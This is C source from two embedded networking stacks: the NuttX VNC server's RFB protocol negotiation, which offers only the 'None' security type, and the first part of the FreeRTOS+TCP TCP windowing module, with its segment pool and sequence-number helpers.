THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <stdint.h> #include <string.h> #include <errno.h> #include <assert.h> #if defined(CONFIG_VNCSERVER_DEBUG) && !defined(CONFIG_DEBUG_GRAPHICS) # undef CONFIG_DEBUG_FEATURES # undef CONFIG_DEBUG_ERROR # undef CONFIG_DEBUG_WARN # undef CONFIG_DEBUG_INFO # define CONFIG_DEBUG_FEATURES 1 # define CONFIG_DEBUG_ERROR 1 # define CONFIG_DEBUG_WARN 1 # define CONFIG_DEBUG_INFO 1 # define CONFIG_DEBUG_GRAPHICS 1 #endif #include <debug.h> #ifdef CONFIG_NET_SOCKOPTS # include <sys/time.h> #endif #include <nuttx/video/fb.h> #include <nuttx/video/rfb.h> #include "vnc_server.h" /**************************************************************************** * Private Data ****************************************************************************/ #if defined(CONFIG_VNCSERVER_PROTO3p3) static const char g_vncproto[] = RFB_PROTOCOL_VERSION_3p3; #elif defined(CONFIG_VNCSERVER_PROTO3p8) static const char g_vncproto[] = RFB_PROTOCOL_VERSION_3p8; static const char g_nosecurity[] = "No security types are supported"; #endif static const char g_vncname[] = CONFIG_VNCSERVER_NAME; /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: vnc_negotiate * * Description: * Perform the VNC initialization sequence after the client has sucessfully * connected to the server. Negotiate security, framebuffer and color * properties. * * Input Parameters: * session - An instance of the session structure. * * Returned Value: * Returns zero (OK) on success; a negated errno value on failure. * ****************************************************************************/ int vnc_negotiate(FAR struct vnc_session_s *session) { #ifdef CONFIG_VNCSERVER_PROTO3p3 FAR struct rfb_sectype_s *sectype; #else /* ifdef CONFIG_VNCSERVER_PROTO3p8 */ FAR struct rfb_supported_sectypes_s *sectypes; FAR struct rfb_selected_sectype_s *sectype; FAR struct rfb_sectype_result_s *secresult; FAR struct rfb_sectype_fail_s *secfail; #endif FAR struct rfb_serverinit_s *serverinit; FAR struct rfb_pixelfmt_s *pixelfmt; FAR struct rfb_setpixelformat_s *setformat; FAR struct rfb_setencodings_s *encodings; ssize_t nsent; ssize_t nrecvd; size_t len; int errcode; #ifdef CONFIG_NET_SOCKOPTS struct timeval tv; int ret; /* Set a receive timeout so that we don't hang if the client does not * respond according to RFB 3.3 protocol. */ tv.tv_sec = 5; tv.tv_usec = 0; ret = psock_setsockopt(&session->connect, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(struct timeval)); if (ret < 0) { errcode = get_errno(); gerr("ERROR: Failed to set receive timeout: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } #endif /* Inform the client of the VNC protocol version */ ginfo("Send protocol version: %s\n", g_vncproto); len = strlen(g_vncproto); nsent = psock_send(&session->connect, g_vncproto, len, 0); if (nsent < 0) { errcode = get_errno(); gerr("ERROR: Send ProtocolVersion failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } DEBUGASSERT(nsent == len); /* Receive the echo of the protocol string */ ginfo("Receive echo from VNC client\n"); nrecvd = psock_recv(&session->connect, session->inbuf, len, 0); if (nrecvd < 0) { errcode = get_errno(); gerr("ERROR: Receive protocol confirmation failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } else if (nrecvd == 0) { gwarn("WARNING: Connection closed\n"); return -ECONNABORTED; } DEBUGASSERT(nrecvd == len); #ifdef CONFIG_VNCSERVER_PROTO3p3 /* Version 3.3: The server decides the security type and sends a single * word containing the security type: Tell the client that we won't use * any stinkin' security. */ ginfo("Send SecurityType\n"); sectype = (FAR struct rfb_sectype_s *)session->outbuf; rfb_putbe32(sectype->type, RFB_SECTYPE_NONE); nsent = psock_send(&session->connect, sectype, sizeof(struct rfb_sectype_s), 0); if (nsent < 0) { errcode = get_errno(); gerr("ERROR: Send Security failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } DEBUGASSERT(nsent == sizeof(struct rfb_sectype_s)); #else /* ifdef CONFIG_VNCSERVER_PROTO3p8 */ /* Version 3.8: Offer the client a choice of security -- where None is the * only option offered. */ ginfo("Send SupportedSecurityTypes\n"); sectypes = (FAR struct rfb_supported_sectypes_s *)session->outbuf; sectypes->ntypes = 1; sectypes->type[0] = RFB_SECTYPE_NONE; nsent = psock_send(&session->connect, sectypes, SIZEOF_RFB_SUPPORTED_SECTYPES_S(1), 0); if (nsent < 0) { errcode = get_errno(); gerr("ERROR: Send SupportedSecurityTypes failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } DEBUGASSERT(nsent == SIZEOF_RFB_SUPPORTED_SECTYPES_S(1)); /* If the server listed at least one valid security type supported by the * client, the client sends back a single byte indicating which security * type is to be used on the connection. */ ginfo("Receive SecurityType\n"); sectype = (FAR struct rfb_selected_sectype_s *)session->inbuf; nrecvd = psock_recv(&session->connect, sectype, sizeof(struct rfb_selected_sectype_s), 0); if (nrecvd < 0) { errcode = get_errno(); gerr("ERROR: Receive SecurityType failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } else if (nrecvd == 0) { gwarn("WARNING: Connection closed\n"); return -ECONNABORTED; } DEBUGASSERT(nrecvd == sizeof(struct rfb_selected_sectype_s)); ginfo("Send SecurityResult\n"); secresult = (FAR struct rfb_sectype_result_s *)session->outbuf; if (sectype->type != RFB_SECTYPE_NONE) { gerr("ERROR: Received unsupported SecurityType: %d\n", sectype->type); /* REVISIT: Should send the reason string here */ rfb_putbe32(secresult->result, RFB_SECTYPE_FAIL); nsent = psock_send(&session->connect, secresult, sizeof(struct rfb_sectype_result_s), 0); if (nsent < 0) { errcode = get_errno(); gerr("ERROR: Send SecurityResult failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } DEBUGASSERT(nsent == sizeof(struct rfb_sectype_result_s)); ginfo("Send failure reason\n"); secfail = (FAR struct rfb_sectype_fail_s *)session->outbuf; len = strlen(g_nosecurity); rfb_putbe32(secfail->len, len); memcpy(secfail->str, g_nosecurity, len); nsent = psock_send(&session->connect, secfail, SIZEOF_RFB_SECTYPE_FAIL_S(len), 0); if (nsent < 0) { errcode = get_errno(); gerr("ERROR: Send failure reason failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } DEBUGASSERT(nsent == SIZEOF_RFB_SECTYPE_FAIL_S(len)); return -EPROTONOSUPPORT; } rfb_putbe32(secresult->result, RFB_SECTYPE_SUCCESS); nsent = psock_send(&session->connect, secresult, sizeof(struct rfb_sectype_result_s), 0); if (nsent < 0) { errcode = get_errno(); gerr("ERROR: Send SecurityResult failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } DEBUGASSERT(nsent == sizeof(struct rfb_sectype_result_s)); #endif /* Receive the ClientInit message * * "Once the client and server are sure that they’re happy to talk to one * another using the agreed security type, the protocol passes to the * initialisation phase. The client sends a ClientInit message followed * by the server sending a ServerInit message." * * In this implementation, the sharing flag is ignored. */ ginfo("Receive ClientInit\n"); nrecvd = psock_recv(&session->connect, session->inbuf, sizeof(struct rfb_clientinit_s), 0); if (nrecvd < 0) { errcode = get_errno(); gerr("ERROR: Receive ClientInit failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } else if (nrecvd == 0) { gwarn("WARNING: Connection closed\n"); return -ECONNABORTED; } DEBUGASSERT(nrecvd == sizeof(struct rfb_clientinit_s)); /* Send the ServerInit message * * "After receiving the ClientInit message, the server sends a ServerInit * message. This tells the client the width and height of the server’s * framebuffer, its pixel format and the name associated with the desktop:" * * RealVNC client supports this resolutions: * Full (all availlable colors) - Max resolution of the platform (TrueColor) * Medium (256 colors) - 256 colors (Paletted) * Low (64 colors) - RGB8 2:2:2 (default, TrueColor) * Very Low (8 colors) - RGB3 1:1:1 (TrueColor) */ ginfo("Send ServerInit\n"); serverinit = (FAR struct rfb_serverinit_s *)session->outbuf; rfb_putbe16(serverinit->width, CONFIG_VNCSERVER_SCREENWIDTH); rfb_putbe16(serverinit->height, CONFIG_VNCSERVER_SCREENHEIGHT); pixelfmt = &serverinit->format; pixelfmt->bpp = RFB_BITSPERPIXEL; pixelfmt->depth = RFB_PIXELDEPTH; pixelfmt->bigendian = 0; pixelfmt->truecolor = RFB_TRUECOLOR; rfb_putbe16(pixelfmt->rmax, RFB_RMAX); rfb_putbe16(pixelfmt->gmax, RFB_GMAX); rfb_putbe16(pixelfmt->bmax, RFB_BMAX); pixelfmt->rshift = RFB_RSHIFT; pixelfmt->gshift = RFB_GSHIFT; pixelfmt->bshift = RFB_BSHIFT; len = strlen(g_vncname); rfb_putbe32(serverinit->namelen, len); memcpy(serverinit->name, g_vncname, len); nsent = psock_send(&session->connect, serverinit, SIZEOF_RFB_SERVERINIT_S(len), 0); if (nsent < 0) { errcode = get_errno(); gerr("ERROR: Send ServerInit failed: %d\n", errcode); return -errcode; } DEBUGASSERT(nsent == SIZEOF_RFB_SERVERINIT_S(len)); /* We now expect to receive the SetPixelFormat message from the client. * This may override some of our framebuffer settings. */ ginfo("Receive SetPixelFormat\n"); setformat = (FAR struct rfb_setpixelformat_s *)session->inbuf; nrecvd = psock_recv(&session->connect, setformat, sizeof(struct rfb_setpixelformat_s), 0); if (nrecvd < 0) { errcode = get_errno(); gerr("ERROR: Receive SetPixelFormat failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } else if (nrecvd == 0) { gwarn("WARNING: Connection closed\n"); return -ECONNABORTED; } else if (nrecvd != sizeof(struct rfb_setpixelformat_s)) { /* Must not be a SetPixelFormat message? */ gerr("ERROR: SetFormat wrong size: %d\n", (int)nrecvd); return -EPROTO; } else if (setformat->msgtype != RFB_SETPIXELFMT_MSG) { gerr("ERROR: Not a SetPixelFormat message: %d\n", (int)setformat->msgtype); return -EPROTO; } /* Instantiate the client pixel format, verifying that the client request * format is one that we can handle. */ ret = vnc_client_pixelformat(session, &setformat->format); if (ret < 0) { /* We do not support this pixel format */ gerr("ERROR: PixelFormat not supported\n"); return ret; } /* Receive supported encoding types from client. */ ginfo("Receive encoding types\n"); encodings = (FAR struct rfb_setencodings_s *)session->inbuf; nrecvd = psock_recv(&session->connect, encodings, CONFIG_VNCSERVER_INBUFFER_SIZE, 0); if (nrecvd < 0) { errcode = get_errno(); gerr("ERROR: Receive SetEncodings failed: %d\n", errcode); DEBUGASSERT(errcode > 0); return -errcode; } else if (nrecvd == 0) { gwarn("WARNING: Connection closed\n"); return -ECONNABORTED; } if (encodings->msgtype == RFB_SETENCODINGS_MSG) { DEBUGASSERT(nrecvd >= SIZEOF_RFB_SETENCODINGS_S(0)); /* Pick out any mutually supported encodings */ ret = vnc_client_encodings(session, encodings); if (ret < 0) { gerr("ERROR: vnc_set_encodings failed: %d\n", ret); return ret; } } session->state = VNCSERVER_CONFIGURED; return OK; } /**************************************************************************** * Name: vnc_client_pixelformat * * Description: * A Client-to-Sever SetPixelFormat message has been received. We need to * immediately switch the output color format that we generate. * * Input Parameters: * session - An instance of the session structure. * pixelfmt - The pixel from from the received SetPixelFormat message * * Returned Value: * Returns zero (OK) on success; a negated errno value on failure. * ****************************************************************************/ int vnc_client_pixelformat(FAR struct vnc_session_s *session, FAR struct rfb_pixelfmt_s *pixelfmt) { if (pixelfmt->truecolor == 0) { /* At present, we support only TrueColor formats */ gerr("ERROR: No support for palette colors\n"); return -ENOSYS; } if (pixelfmt->bpp == 8 && pixelfmt->depth == 6) { ginfo("Client pixel format: RGB8 2:2:2\n"); session->colorfmt = FB_FMT_RGB8_222; session->bpp = 8; session->bigendian = false; } else if (pixelfmt->bpp == 8 && pixelfmt->depth == 8) { ginfo("Client pixel format: RGB8 3:3:2\n"); session->colorfmt = FB_FMT_RGB8_332; session->bpp = 8; session->bigendian = false; } else if (pixelfmt->bpp == 16 && pixelfmt->depth == 15) { ginfo("Client pixel format: RGB16 5:5:5\n"); session->colorfmt = FB_FMT_RGB16_555; session->bpp = 16; session->bigendian = (pixelfmt->bigendian != 0) ? true : false; } else if (pixelfmt->bpp == 16 && pixelfmt->depth == 16) { ginfo("Client pixel format: RGB16 5:6:5\n"); session->colorfmt = FB_FMT_RGB16_565; session->bpp = 16; session->bigendian = (pixelfmt->bigendian != 0) ? true : false; } else if (pixelfmt->bpp == 32 && pixelfmt->depth == 24) { ginfo("Client pixel format: RGB32 8:8:8\n"); session->colorfmt = FB_FMT_RGB32; session->bpp = 32; session->bigendian = (pixelfmt->bigendian != 0) ? true : false; } else if (pixelfmt->bpp == 32 && pixelfmt->depth == 32) { session->colorfmt = FB_FMT_RGB32; session->bpp = 32; session->bigendian = (pixelfmt->bigendian != 0) ? true : false; } else { /* We do not support any other conversions */ gerr("ERROR: No support for this BPP=%d and depth=%d\n", pixelfmt->bpp, pixelfmt->depth); return -ENOSYS; } session->change = true; return OK; }
555992.c
/* * FreeRTOS+TCP V2.0.7 * Copyright (C) 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of * the Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * http://aws.amazon.com/freertos * http://www.FreeRTOS.org */ /* * FreeRTOS_TCP_WIN.c * Module which handles the TCP windowing schemes for FreeRTOS+TCP. Many * functions have two versions - one for FreeRTOS+TCP (full) and one for * FreeRTOS+TCP (lite). * * In this module all ports and IP addresses and sequence numbers are * being stored in host byte-order. */ /* Standard includes. */ #include <stdint.h> /* FreeRTOS includes. */ #include "FreeRTOS.h" #include "task.h" #include "queue.h" #include "semphr.h" /* FreeRTOS+TCP includes. */ #include "FreeRTOS_UDP_IP.h" #include "FreeRTOS_IP.h" #include "FreeRTOS_Sockets.h" #include "FreeRTOS_IP_Private.h" #include "NetworkBufferManagement.h" #include "FreeRTOS_TCP_WIN.h" /* Constants used for Smoothed Round Trip Time (SRTT). */ #define winSRTT_INCREMENT_NEW 2 #define winSRTT_INCREMENT_CURRENT 6 #define winSRTT_DECREMENT_NEW 1 #define winSRTT_DECREMENT_CURRENT 7 #define winSRTT_CAP_mS 50 #if( ipconfigUSE_TCP_WIN == 1 ) #define xTCPWindowRxNew( pxWindow, ulSequenceNumber, lCount ) xTCPWindowNew( pxWindow, ulSequenceNumber, lCount, pdTRUE ) #define xTCPWindowTxNew( pxWindow, ulSequenceNumber, lCount ) xTCPWindowNew( pxWindow, ulSequenceNumber, lCount, pdFALSE ) /* The code to send a single Selective ACK (SACK): * NOP (0x01), NOP (0x01), SACK (0x05), LEN (0x0a), * followed by a lower and a higher sequence number, * where LEN is 2 + 2*4 = 10 bytes. */ #if( ipconfigBYTE_ORDER == pdFREERTOS_BIG_ENDIAN ) #define OPTION_CODE_SINGLE_SACK ( 0x0101050aUL ) #else #define OPTION_CODE_SINGLE_SACK ( 0x0a050101UL ) #endif /* Normal retransmission: * A packet will be retransmitted after a Retransmit Time-Out (RTO). * Fast retransmission: * When 3 packets with a higher sequence number have been acknowledged * by the peer, it is very unlikely a current packet will ever arrive. * It will be retransmitted far before the RTO. */ #define DUPLICATE_ACKS_BEFORE_FAST_RETRANSMIT ( 3u ) /* If there have been several retransmissions (4), decrease the * size of the transmission window to at most 2 times MSS. */ #define MAX_TRANSMIT_COUNT_USING_LARGE_WINDOW ( 4u ) #endif /* configUSE_TCP_WIN */ /*-----------------------------------------------------------*/ extern void vListInsertGeneric( List_t * const pxList, ListItem_t * const pxNewListItem, MiniListItem_t * const pxWhere ); /* * All TCP sockets share a pool of segment descriptors (TCPSegment_t) * Available descriptors are stored in the 'xSegmentList' * When a socket owns a descriptor, it will either be stored in * 'xTxSegments' or 'xRxSegments' * As soon as a package has been confirmed, the descriptor will be returned * to the segment pool */ #if( ipconfigUSE_TCP_WIN == 1 ) static BaseType_t prvCreateSectors( void ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* * Find a segment with a given sequence number in the list of received * segments: 'pxWindow->xRxSegments'. */ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPWindowRxFind( TCPWindow_t *pxWindow, uint32_t ulSequenceNumber ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* * Allocate a new segment * The socket will borrow all segments from a common pool: 'xSegmentList', * which is a list of 'TCPSegment_t' */ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPWindowNew( TCPWindow_t *pxWindow, uint32_t ulSequenceNumber, int32_t lCount, BaseType_t xIsForRx ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* When the peer has a close request (FIN flag), the driver will check if * there are missing packets in the Rx-queue * It will accept the closure of the connection if both conditions are true: * - the Rx-queue is empty * - we've ACK'd the highest Rx sequence number seen */ #if( ipconfigUSE_TCP_WIN == 1 ) BaseType_t xTCPWindowRxEmpty( TCPWindow_t *pxWindow ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* * Detaches and returns the head of a queue */ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPWindowGetHead( List_t *pxList ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* * Returns the head of a queue but it won't be detached */ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPWindowPeekHead( List_t *pxList ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* * Free entry pxSegment because it's not used anymore * The ownership will be passed back to the segment pool */ #if( ipconfigUSE_TCP_WIN == 1 ) static void vTCPWindowFree( TCPSegment_t *pxSegment ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* * A segment has been received with sequence number 'ulSequenceNumber', where * 'ulCurrentSequenceNumber == ulSequenceNumber', which means that exactly this * segment was expected. xTCPWindowRxConfirm() will check if there is already * another segment with a sequence number between (ulSequenceNumber) and * (ulSequenceNumber+xLength). Normally none will be found, because the next Rx * segment should have a sequence number equal to '(ulSequenceNumber+xLength)'. */ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPWindowRxConfirm( TCPWindow_t *pxWindow, uint32_t ulSequenceNumber, uint32_t ulLength ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* * FreeRTOS+TCP stores data in circular buffers. Calculate the next position to * store. */ #if( ipconfigUSE_TCP_WIN == 1 ) static int32_t lTCPIncrementTxPosition( int32_t lPosition, int32_t lMax, int32_t lCount ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* * This function will look if there is new transmission data. It will return * true if there is data to be sent. */ #if( ipconfigUSE_TCP_WIN == 1 ) static BaseType_t prvTCPWindowTxHasSpace( TCPWindow_t *pxWindow, uint32_t ulWindowSize ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* * An acknowledge was received. See if some outstanding data may be removed * from the transmission queue(s). */ #if( ipconfigUSE_TCP_WIN == 1 ) static uint32_t prvTCPWindowTxCheckAck( TCPWindow_t *pxWindow, uint32_t ulFirst, uint32_t ulLast ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /* * A higher Tx block has been acknowledged. Now iterate through the xWaitQueue * to find a possible condition for a FAST retransmission. */ #if( ipconfigUSE_TCP_WIN == 1 ) static uint32_t prvTCPWindowFastRetransmit( TCPWindow_t *pxWindow, uint32_t ulFirst ); #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ /* TCP segement pool. */ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPSegments = NULL; #endif /* ipconfigUSE_TCP_WIN == 1 */ /* List of free TCP segments. */ #if( ipconfigUSE_TCP_WIN == 1 ) static List_t xSegmentList; #endif /* Logging verbosity level. */ BaseType_t xTCPWindowLoggingLevel = 0; #if( ipconfigUSE_TCP_WIN == 1 ) /* Some 32-bit arithmetic: comparing sequence numbers */ static portINLINE BaseType_t xSequenceLessThanOrEqual( uint32_t a, uint32_t b ); static portINLINE BaseType_t xSequenceLessThanOrEqual( uint32_t a, uint32_t b ) { /* Test if a <= b Return true if the unsigned subtraction of (b-a) doesn't generate an arithmetic overflow. */ return ( ( b - a ) & 0x80000000UL ) == 0UL; } #endif /* ipconfigUSE_TCP_WIN */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static portINLINE BaseType_t xSequenceLessThan( uint32_t a, uint32_t b ); static portINLINE BaseType_t xSequenceLessThan( uint32_t a, uint32_t b ) { /* Test if a < b */ return ( ( b - a - 1UL ) & 0x80000000UL ) == 0UL; } #endif /* ipconfigUSE_TCP_WIN */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static portINLINE BaseType_t xSequenceGreaterThan( uint32_t a, uint32_t b ); static portINLINE BaseType_t xSequenceGreaterThan( uint32_t a, uint32_t b ) { /* Test if a > b */ return ( ( a - b - 1UL ) & 0x80000000UL ) == 0UL; } #endif /* ipconfigUSE_TCP_WIN */ /*-----------------------------------------------------------*/ static portINLINE BaseType_t xSequenceGreaterThanOrEqual( uint32_t a, uint32_t b ); static portINLINE BaseType_t xSequenceGreaterThanOrEqual( uint32_t a, uint32_t b ) { /* Test if a >= b */ return ( ( a - b ) & 0x80000000UL ) == 0UL; } /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static portINLINE void vListInsertFifo( List_t * const pxList, ListItem_t * const pxNewListItem ); static portINLINE void vListInsertFifo( List_t * const pxList, ListItem_t * const pxNewListItem ) { vListInsertGeneric( pxList, pxNewListItem, &pxList->xListEnd ); } #endif /*-----------------------------------------------------------*/ static portINLINE void vTCPTimerSet( TCPTimer_t *pxTimer ); static portINLINE void vTCPTimerSet( TCPTimer_t *pxTimer ) { pxTimer->ulBorn = xTaskGetTickCount ( ); } /*-----------------------------------------------------------*/ static portINLINE uint32_t ulTimerGetAge( TCPTimer_t *pxTimer ); static portINLINE uint32_t ulTimerGetAge( TCPTimer_t *pxTimer ) { return ( ( xTaskGetTickCount() - pxTimer->ulBorn ) * portTICK_PERIOD_MS ); } /*-----------------------------------------------------------*/ /* _HT_ GCC (using the settings that I'm using) checks for every public function if it is preceded by a prototype. Later this prototype will be located in list.h? */ extern void vListInsertGeneric( List_t * const pxList, ListItem_t * const pxNewListItem, MiniListItem_t * const pxWhere ); void vListInsertGeneric( List_t * const pxList, ListItem_t * const pxNewListItem, MiniListItem_t * const pxWhere ) { /* Insert a new list item into pxList, it does not sort the list, but it puts the item just before xListEnd, so it will be the last item returned by listGET_HEAD_ENTRY() */ pxNewListItem->pxNext = (struct xLIST_ITEM * configLIST_VOLATILE)pxWhere; pxNewListItem->pxPrevious = pxWhere->pxPrevious; pxWhere->pxPrevious->pxNext = pxNewListItem; pxWhere->pxPrevious = pxNewListItem; /* Remember which list the item is in. */ pxNewListItem->pvContainer = ( void * ) pxList; /* If this line fails to build then ensure configENABLE_BACKWARD_COMPATIBILITY is set to 1 in FreeRTOSConfig.h. */ ( pxList->uxNumberOfItems )++; } /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static BaseType_t prvCreateSectors( void ) { BaseType_t xIndex, xReturn; /* Allocate space for 'xTCPSegments' and store them in 'xSegmentList'. */ vListInitialise( &xSegmentList ); xTCPSegments = ( TCPSegment_t * ) pvPortMallocLarge( ipconfigTCP_WIN_SEG_COUNT * sizeof( xTCPSegments[ 0 ] ) ); if( xTCPSegments == NULL ) { FreeRTOS_debug_printf( ( "prvCreateSectors: malloc %lu failed\n", ipconfigTCP_WIN_SEG_COUNT * sizeof( xTCPSegments[ 0 ] ) ) ); xReturn = pdFAIL; } else { /* Clear the allocated space. */ memset( xTCPSegments, '\0', ipconfigTCP_WIN_SEG_COUNT * sizeof( xTCPSegments[ 0 ] ) ); for( xIndex = 0; xIndex < ipconfigTCP_WIN_SEG_COUNT; xIndex++ ) { /* Could call vListInitialiseItem here but all data has been nulled already. Set the owner to a segment descriptor. */ listSET_LIST_ITEM_OWNER( &( xTCPSegments[ xIndex ].xListItem ), ( void* ) &( xTCPSegments[ xIndex ] ) ); listSET_LIST_ITEM_OWNER( &( xTCPSegments[ xIndex ].xQueueItem ), ( void* ) &( xTCPSegments[ xIndex ] ) ); /* And add it to the pool of available segments */ vListInsertFifo( &xSegmentList, &( xTCPSegments[xIndex].xListItem ) ); } xReturn = pdPASS; } return xReturn; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPWindowRxFind( TCPWindow_t *pxWindow, uint32_t ulSequenceNumber ) { const ListItem_t *pxIterator; const MiniListItem_t* pxEnd; TCPSegment_t *pxSegment, *pxReturn = NULL; /* Find a segment with a given sequence number in the list of received segments. */ pxEnd = ( const MiniListItem_t* )listGET_END_MARKER( &pxWindow->xRxSegments ); for( pxIterator = ( const ListItem_t * ) listGET_NEXT( pxEnd ); pxIterator != ( const ListItem_t * ) pxEnd; pxIterator = ( const ListItem_t * ) listGET_NEXT( pxIterator ) ) { pxSegment = ( TCPSegment_t * ) listGET_LIST_ITEM_OWNER( pxIterator ); if( pxSegment->ulSequenceNumber == ulSequenceNumber ) { pxReturn = pxSegment; break; } } return pxReturn; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPWindowNew( TCPWindow_t *pxWindow, uint32_t ulSequenceNumber, int32_t lCount, BaseType_t xIsForRx ) { TCPSegment_t *pxSegment; ListItem_t * pxItem; /* Allocate a new segment. The socket will borrow all segments from a common pool: 'xSegmentList', which is a list of 'TCPSegment_t' */ if( listLIST_IS_EMPTY( &xSegmentList ) != pdFALSE ) { /* If the TCP-stack runs out of segments, you might consider increasing 'ipconfigTCP_WIN_SEG_COUNT'. */ FreeRTOS_debug_printf( ( "xTCPWindow%cxNew: Error: all segments occupied\n", xIsForRx ? 'R' : 'T' ) ); pxSegment = NULL; } else { /* Pop the item at the head of the list. Semaphore protection is not required as only the IP task will call these functions. */ pxItem = ( ListItem_t * ) listGET_HEAD_ENTRY( &xSegmentList ); pxSegment = ( TCPSegment_t * ) listGET_LIST_ITEM_OWNER( pxItem ); configASSERT( pxItem != NULL ); configASSERT( pxSegment != NULL ); /* Remove the item from xSegmentList. */ uxListRemove( pxItem ); /* Add it to either the connections' Rx or Tx queue. */ vListInsertFifo( xIsForRx ? &pxWindow->xRxSegments : &pxWindow->xTxSegments, pxItem ); /* And set the segment's timer to zero */ vTCPTimerSet( &pxSegment->xTransmitTimer ); pxSegment->u.ulFlags = 0; pxSegment->u.bits.bIsForRx = ( xIsForRx != 0 ); pxSegment->lMaxLength = lCount; pxSegment->lDataLength = lCount; pxSegment->ulSequenceNumber = ulSequenceNumber; #if( ipconfigHAS_DEBUG_PRINTF != 0 ) { static UBaseType_t xLowestLength = ipconfigTCP_WIN_SEG_COUNT; UBaseType_t xLength = listCURRENT_LIST_LENGTH( &xSegmentList ); if( xLowestLength > xLength ) { xLowestLength = xLength; } } #endif /* ipconfigHAS_DEBUG_PRINTF */ } return pxSegment; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) BaseType_t xTCPWindowRxEmpty( TCPWindow_t *pxWindow ) { BaseType_t xReturn; /* When the peer has a close request (FIN flag), the driver will check if there are missing packets in the Rx-queue. It will accept the closure of the connection if both conditions are true: - the Rx-queue is empty - the highest Rx sequence number has been ACK'ed */ if( listLIST_IS_EMPTY( ( &pxWindow->xRxSegments ) ) == pdFALSE ) { /* Rx data has been stored while earlier packets were missing. */ xReturn = pdFALSE; } else if( xSequenceGreaterThanOrEqual( pxWindow->rx.ulCurrentSequenceNumber, pxWindow->rx.ulHighestSequenceNumber ) != pdFALSE ) { /* No Rx packets are being stored and the highest sequence number that has been received has been ACKed. */ xReturn = pdTRUE; } else { FreeRTOS_debug_printf( ( "xTCPWindowRxEmpty: cur %lu highest %lu (empty)\n", ( pxWindow->rx.ulCurrentSequenceNumber - pxWindow->rx.ulFirstSequenceNumber ), ( pxWindow->rx.ulHighestSequenceNumber - pxWindow->rx.ulFirstSequenceNumber ) ) ); xReturn = pdFALSE; } return xReturn; } #endif /* ipconfigUSE_TCP_WIN == 1 */ /*-----------------------------------------------------------*/ #if( ipconfigUSE_TCP_WIN == 1 ) static TCPSegment_t *xTCPWindowGetHead( List_t *pxList ) { TCPSegment_t *pxSegment; ListItem_t * pxItem; /* Detaches and returns the head of a queue. */ if( listLIST_IS_EMPTY( pxList ) != pdFALSE ) { pxSegment = NULL; } else { pxItem = ( ListItem_t * ) listGET_HEAD_ENTRY( pxList ); pxSegment = ( TCPSegment_t * ) listGET_LIST_ITEM_OWNER( pxItem ); uxListRemove( pxItem ); } return pxSegment; } #endif /* ipconfigUSE_TCP_WIN == 1 */ 